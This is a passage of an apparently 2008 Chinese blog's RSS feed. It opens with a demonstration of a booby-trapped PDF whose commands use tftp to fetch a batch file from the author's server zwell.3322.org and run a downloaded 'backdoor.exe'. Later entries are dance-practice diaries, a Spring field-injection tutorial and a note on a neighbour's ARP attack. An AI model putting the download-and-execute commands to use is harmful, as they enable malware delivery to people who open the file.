            mailttest%..\..\..\..\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\tftp.exe" "-i" "zwell.3322.org"
            "GET" "a.bat" "c:\a".cmd
            mailttest%..\..\..\..\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\cmd.exe" "/c c:\a".cmd
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<p>在zwell.3322.org上我搭建了一个TFTP服务器，里面放有一个a.cmd，内容就是再去下载执行一个程序。</p>
<p>在pdf打开首页时执行第一条指令，下载服务器上的a.bat，保存为a.cmd（为什么是cmd，大家可以思考一下）。</p>
<p>在离开该页面时，再执行已经下载的a.cmd，其实他是个bat文件，内容是：</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
    <tbody>
        <tr>
            <td class="code" bgcolor="#e6e6e6">
            <pre>以下是代码片段：
            cmd /c tftp -i zwell.3322.org GET backdoor.exe c:\b.exe
            start c:\b.exe
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<p>好了，现在下载了backdoor.exe程序（这只是一个notepad程序，我重命名了）并且执行了。</p>
</font></div>
<img src ="http://www.blogjava.net/viking/aggbug/214569.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-13 12:51 <a href="http://www.blogjava.net/viking/archive/2008/07/13/214569.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>7月12日记</title><link>http://www.blogjava.net/viking/archive/2008/07/12/214496.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 12 Jul 2008 14:24:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/12/214496.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/214496.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/12/214496.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/214496.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/214496.html</trackback:ping><description><![CDATA[&nbsp;&nbsp; 今天是第600个单手蹦，已经顺利完成！今天这100个是离开墙壁的！感觉没什么进步，90'S也是！本来跳舞的时候想了很多要说的话，回家跟朋友一聊天，什么都忘了，郁闷！
<img src ="http://www.blogjava.net/viking/aggbug/214496.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-12 22:24 <a href="http://www.blogjava.net/viking/archive/2008/07/12/214496.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>7月11日记</title><link>http://www.blogjava.net/viking/archive/2008/07/11/214353.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Fri, 11 Jul 2008 15:00:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/11/214353.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/214353.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/11/214353.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/214353.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/214353.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; 今天一天不知道为什么，总感觉很累，想睡觉！难道是昨天晚上远动过量？昨天因为九星论坛在中教6聚会玩杀人，MM比较多，有MM当然想SHOW下啦，所以体力超支了！今天他们又聚会，我赶紧跑到5楼去，呵呵，第1，怕体力透支，第2，那里被2个老太太占了，老太太跳拿扇子的舞！今天是第500下单手蹦了，感觉没进步，可能是累了，90'也没一点进步！忽然想起前几天去一个街舞论坛上看见一个人分享经验，他说：&#8220;不要刻意的去练！&#8221;当时我也没搞仔细看清楚，然后我仔细回想了一下，以前我练风车，UFO等，也是不知不觉得就会了，而且是在那种在某个时刻，自己非常想去做那个动作，然后去做了，一下就成功了！也许这就是所谓的成功只在一瞬间吧！想到这我想那人说的话的意思也就是，自己什么时候非常想去做这个动作，那就去做！因为灵感这东西有时就是一瞬间的，你把握住了，也许以后也就会了！但是我深信这一时的灵感也要靠你前面的刻苦练习，灵感来的时候才能发挥出最好的效果，这算是机会是留给有准备的人吗？如果按这个理论，那我完成我的1000个单手蹦的时候，我应该还不能很好的掌握，需要休息一两天，恢复一下体力，然后听着音乐，等灵感一来，OK，会了！恩，应该是这样，所以就算我1000个单手蹦完成时还不能马上掌握，也是因为缺少东风，2天左右应该就能完全掌握了，音乐可以给人带来灵感嘛！<br />
&nbsp;&nbsp;&nbsp; 听沈鹏说，他16号搬宿舍后，就要回家了，他不找工作了，我这次没说什么，也没阻止他，既然他决定了，做朋友的也就支持他，他说要回去找个师傅学学！他走了以后就我一个人了，胡报也是不定时的来，不过没关系，我已经习惯了，我一个人默默的练，默默的积累，当所有的人都到场的时候，我将以最完美的一面展现在他们面前！我相信我现在的努力，付出都是值得的！加油！！！
<img src ="http://www.blogjava.net/viking/aggbug/214353.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-11 23:00 <a href="http://www.blogjava.net/viking/archive/2008/07/11/214353.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>7月10日记</title><link>http://www.blogjava.net/viking/archive/2008/07/10/214136.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Thu, 10 Jul 2008 15:03:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/10/214136.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/214136.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/10/214136.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/214136.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/214136.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; 哈哈，今天不写日记了，跟朋友聊天，对了，今天的100下单手蹦完成了！继续努力！
<img src ="http://www.blogjava.net/viking/aggbug/214136.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-10 23:03 <a href="http://www.blogjava.net/viking/archive/2008/07/10/214136.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Spring注入field值</title><link>http://www.blogjava.net/viking/archive/2008/07/09/213816.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Wed, 09 Jul 2008 14:49:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/09/213816.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/213816.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/09/213816.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/213816.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/213816.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;嘿嘿，今天偷懒，就记一点点内容，然后去看PPLIVE去！<br />
&nbsp;&nbsp;&nbsp;&nbsp;注入field值<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FieldRetrievingFactoryBean用来获得目标bean的field值。获得的值可注入给其他bean，也可直接定义成新的bean.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for example:<br />
--------------------------------------------------------------------------------------------<br />
<p>package org.viking.spring.imp;</p>
<p>public class Son <br />
{<br />
&nbsp;private int age;</p>
<p>&nbsp;public int getAge() {<br />
&nbsp;&nbsp;return age;<br />
&nbsp;}</p>
<p>&nbsp;public void setAge(int age) {<br />
&nbsp;&nbsp;this.age = age;<br />
&nbsp;}<br />
}<br />
--------------------------------------------------------------------------------------------<br />
&lt;?xml version="1.0" encoding="UTF-8"?&gt;<br />
&lt;beans<br />
&nbsp;xmlns="http://www.springframework.org/schema/beans"<br />
&nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"<br />
&nbsp;xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd"&gt;<br />
&nbsp;<br />
&nbsp;&lt;bean id="son" class="org.viking.spring.imp.Son"&gt;<br />
&nbsp;&nbsp;&lt;property name="age"&gt;<br />
&nbsp;&nbsp;&lt;!-- FiledRetrievingFactoryBean用来获取目标类的field值。id属性确定获取哪个类哪个field值。 --&gt;<br />
&nbsp;&nbsp;&nbsp;&lt;bean id="java.sql.Connection.TRANSACTION_SERIALIZABLE" class="org.springframework.beans.factory.config.FieldRetrievingFactoryBean"/&gt;<br />
&nbsp;&nbsp;&lt;/property&gt;<br />
&nbsp;&lt;/bean&gt;<br />
&lt;/beans&gt;<br />
--------------------------------------------------------------------------------------------<br />
</p>
<p>package org.viking.spring.test;</p>
<p>import org.springframework.context.ApplicationContext;<br />
import org.springframework.context.support.ClassPathXmlApplicationContext;<br />
import org.viking.spring.imp.Son;</p>
<p>import junit.framework.TestCase;</p>
<p>public class TestInjectField extends TestCase<br />
{<br />
&nbsp;public void testInjectField()<br />
&nbsp;{<br />
&nbsp;&nbsp;ApplicationContext app = new ClassPathXmlApplicationContext("applicationContext.xml");<br />
&nbsp;&nbsp;Son son = (Son)app.getBean("son");<br />
&nbsp;&nbsp;System.out.println("系统获取son的age属性： " + son.getAge());</p>
}<br />
}<br />
--------------------------------------------------------------------------------------------<br />
&nbsp;&nbsp;&nbsp;&nbsp;下面这个是field值定义成bean实例。只需修改applicationContext.xml和测试类。<br />
--------------------------------------------------------------------------------------------<br />
<p>&lt;?xml version="1.0" encoding="UTF-8"?&gt;<br />
&lt;beans<br />
&nbsp;xmlns="http://www.springframework.org/schema/beans"<br />
&nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"<br />
&nbsp;xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd"&gt;<br />
&nbsp;<br />
&nbsp;&lt;bean id="son" class="org.viking.spring.imp.Son"&gt;<br />
&nbsp;&nbsp;&lt;property name="age"&gt;<br />
&nbsp;&nbsp;&lt;!-- FiledRetrievingFactoryBean用来获取目标类的field值。id属性确定获取哪个类哪个field值。 --&gt;<br />
&nbsp;&nbsp;&nbsp;&lt;bean id="java.sql.Connection.TRANSACTION_SERIALIZABLE" class="org.springframework.beans.factory.config.FieldRetrievingFactoryBean"/&gt;<br />
&nbsp;&nbsp;&lt;/property&gt;<br />
&nbsp;&lt;/bean&gt;<br />
&nbsp;<br />
&nbsp;&lt;bean id="theAge" class="org.springframework.beans.factory.config.FieldRetrievingFactoryBean"&gt;<br />
&nbsp;&nbsp;&lt;property name="staticField"&gt;<br />
&nbsp;&nbsp;&nbsp;&lt;value&gt;java.sql.Connection.TRANSACTION_SERIALIZABLE&lt;/value&gt;<br />
&nbsp;&nbsp;&lt;/property&gt;<br />
&nbsp;&lt;/bean&gt;<br />
&nbsp;<br />
&lt;/beans&gt;</p>
--------------------------------------------------------------------------------------------<br />
<p>package org.viking.spring.test;</p>
<p>import org.springframework.context.ApplicationContext;<br />
import org.springframework.context.support.ClassPathXmlApplicationContext;<br />
import org.viking.spring.imp.Son;</p>
<p>import junit.framework.TestCase;</p>
<p>public class TestInjectField extends TestCase<br />
{<br />
&nbsp;public void testInjectField()<br />
&nbsp;{<br />
&nbsp;&nbsp;ApplicationContext app = new ClassPathXmlApplicationContext("applicationContext.xml");<br />
&nbsp;&nbsp;Son son = (Son)app.getBean("son");<br />
&nbsp;&nbsp;System.out.println("系统获取son的age属性： " + son.getAge());<br />
&nbsp;&nbsp;System.out.println("系统获取theAge的值: " +app.getBean("theAge"));<br />
&nbsp;}<br />
&nbsp;<br />
}<br />
--------------------------------------------------------------------------------------------<br />
<br />
<br />
-------以上的文字以及代码摘录于李刚写的《轻量级J2EE开发企业应用实战》，代码有少许变动！ </p>
<img src ="http://www.blogjava.net/viking/aggbug/213816.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-09 22:49 <a href="http://www.blogjava.net/viking/archive/2008/07/09/213816.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DNS欺骗？</title><link>http://www.blogjava.net/viking/archive/2008/07/09/213804.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Wed, 09 Jul 2008 14:32:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/09/213804.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/213804.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/09/213804.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/213804.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/213804.html</trackback:ping><description><![CDATA[&nbsp; 今天上不了网，这篇日记是在记事本上写的，至于为什么上不了网，还是以前那原因，那间屋子的人又开始了ARP攻击，ARP就ARP吧，反正我又不急着上网，没事我就看看书！倒是他们，挺可怜的，每天都玩网络游戏，一天不玩估计会郁闷死他们，慢慢整吧，比耐心吧！反正自从他们搬进来，这屋子就没安静过，白天吵死人，半夜他也吵。看他们像是大3，大4暑假不回家，打算找工作的吧，因为他们刚刚来的时候听见他们说找工作，现在工作没找到天天在家玩网游，也不知道说工作没找到，恶补一下！我最看不起的就是这种人了，整天玩游戏，不学无术，也不知道他们是哪个大学的，真给他们学校丢脸！这么大的人了，一看就知道是没出息的！为了他可笑的游戏，竟然把别人的网络给断开了，他也不想想，你倒可以玩游戏，占网速，人家上网查点资料就不行了？就占你网速了？再如果人家有炒股的，或者要在网上谈生意，再或者其他重要的事情呢？人家的损失多大？就为了你一个人的利益，你要牺牲所以人？就为了你要玩个游戏，就要影响其他人学习？<br />
&nbsp; 哼，终于忍不住了吧？来敲我门问我可以上网不？放心，你上不了，我绝对也上不了，如果我能上，你就一定也可以上！这样很公平！好啦，我骂完了！<br />
&nbsp; 今天晚上去练舞，就我一个人，沈鹏说他朋友来了，所以今天不能来练舞，其实也无所谓啦，我已经习惯了一个人！今天单手蹦，没有很明显的进步！我还是坚持蹦了100下，单手今天却有一个心得，就是练单手蹦要&#8220;始终如一&#8221;，90'S没有很大的进步！好像现在的舞感比以前强一点了！继续努力，还有7天，我相信，7天过后，奇迹会出现的！<br />
&nbsp;&nbsp; 今天看《做最好的自己》第4章，说得是同理心。<br />
&nbsp;什么是同理心呢？<br />
&nbsp;&nbsp; 同理心（Empathy）是一个心理学概念，最早由人本主义大师卡尔.罗杰斯提出。学者们通常是这样来定义和描述的：<br />
&nbsp;&nbsp;&nbsp;&nbsp; 同理心是在人际交往过程中，能够体会他人的情绪和想法，理解他人的立场和感受并站在他人 角度思考和处理问题的能力。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 英国作家乔治.麦克唐纳说：&#8220;信任是比爱更好的赞美。&#8221;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 福克斯新闻频道创始人罗杰.艾尔斯说：&#8220;如果被误解，怪你自己，别怪听众，你才是传达信息的人。&#8221;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;吼吼，这篇文章顺利在当晚发布了，我不知道他们是否能上网，反正我能上！具体原因是我进入了路由器，重启了一下，然后发现首页连接的DNS跟我的不通，PING了一下，我的DNS，发现PING不通，接着PING了一下路由上面的，PING通了，OK,不用DHCP了，直接手工填写！就这样，能上网了，难道这是传说中的DNS欺骗？今天在CSDN网上看了一篇文章，好像是关于黑客能发现DNS漏洞，可以控制网速之类的，具体的忘记了！哈哈！可以上网，爽！在写一篇学习日记，就去PPLIVE看电影！哼！我也偶尔娱乐下！就许周官放火，不许百姓点灯啊?
<img src ="http://www.blogjava.net/viking/aggbug/213804.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-09 22:32 <a href="http://www.blogjava.net/viking/archive/2008/07/09/213804.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>